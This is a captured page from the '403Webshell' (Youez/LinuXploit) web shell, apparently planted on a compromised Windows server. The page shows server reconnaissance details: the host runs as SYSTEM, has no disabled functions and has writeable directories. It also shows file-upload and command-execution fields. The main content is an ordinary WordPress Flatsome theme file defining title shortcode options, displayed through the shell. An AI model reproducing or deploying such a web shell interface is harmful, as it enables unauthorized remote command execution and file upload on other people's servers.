403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/training/wp-content/themes/flatsome/inc/builder/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/training/wp-content/themes/flatsome/inc/builder/shortcodes/title.php
<?php

add_ux_builder_shortcode( 'title', array(
	'name'      => __( 'Title', 'ux-builder' ),
	'category'  => __( 'Content' ),
	'thumbnail' => flatsome_ux_builder_thumbnail( 'title' ),
	'template'  => flatsome_ux_builder_template( 'title.html' ),
	'info'      => '{{ text }}',
	'wrap'      => false,

	'options' => array(
		'style' => array(
			'type'    => 'select',
			'heading' => 'Style',
			'default' => 'normal',
			'options' => array(
				'normal'      => 'Normal',
				'center'      => 'Center',
				'bold'        => 'Left Bold',
				'bold-center' => 'Center Bold',
			),
		),
		'text' => array(
			'type'       => 'textfield',
			'heading'    => 'Title',
			'default'    => 'Lorem ipsum dolor sit amet...',
			'auto_focus' => true,
		),
		'tag_name' => array(
			'type'    => 'select',
			'heading' => 'Tag',
			'default' => 'h3',
			'options' => array(
				'h1' => 'H1',
				'h2' => 'H2',
				'h3' => 'H3',
				'h4' => 'H4',
			),
		),
		'color' => array(
			'type'     => 'colorpicker',
			'heading'  => __( 'Color' ),
			'alpha'    => true,
			'format'   => 'rgb',
			'position' => 'bottom right',
		),
		'icon' => array(
			'type'    => 'select',
			'heading' => 'Icon',
			'options' => require( __DIR__ . '/values/icons.php' ),
		),
		'width' => array(
			'type'    => 'scrubfield',
			'heading' => __( 'Width' ),
			'default' => '',
			'min'     => 0,
			'max'     => 1200,
			'step'    => 5,
		),
		'margin_top' => array(
			'type'        => 'scrubfield',
			'heading'     => __( 'Margin Top' ),
			'default'     => '',
			'placeholder' => __( '0px' ),
			'min'         => - 100,
			'max'         => 300,
			'step'        => 1,
		),
		'margin_bottom' => array(
			'type'        => 'scrubfield',
			'heading'     => __( 'Margin Bottom' ),
			'default'     => '',
			'placeholder' => __( '0px' ),
			'min'         => - 100,
			'max'         => 300,
			'step'        => 1,
		),
		'size' => array(
			'type'    => 'slider',
			'heading' => __( 'Size' ),
			'default' => 100,
			'unit'    => '%',
			'min'     => 20,
			'max'     => 300,
			'step'    => 1,
		),
		'link_text' => array(
			'type'    => 'textfield',
			'heading' => 'Link Text',
			'default' => '',
		),
		'link' => array(
			'type'    => 'textfield',
			'heading' => 'Link',
			'default' => '',
		),
		'advanced_options' => require( __DIR__ . '/commons/advanced.php'),
	),
) );

Youez - 2016 - github.com/yon3zu
LinuXploit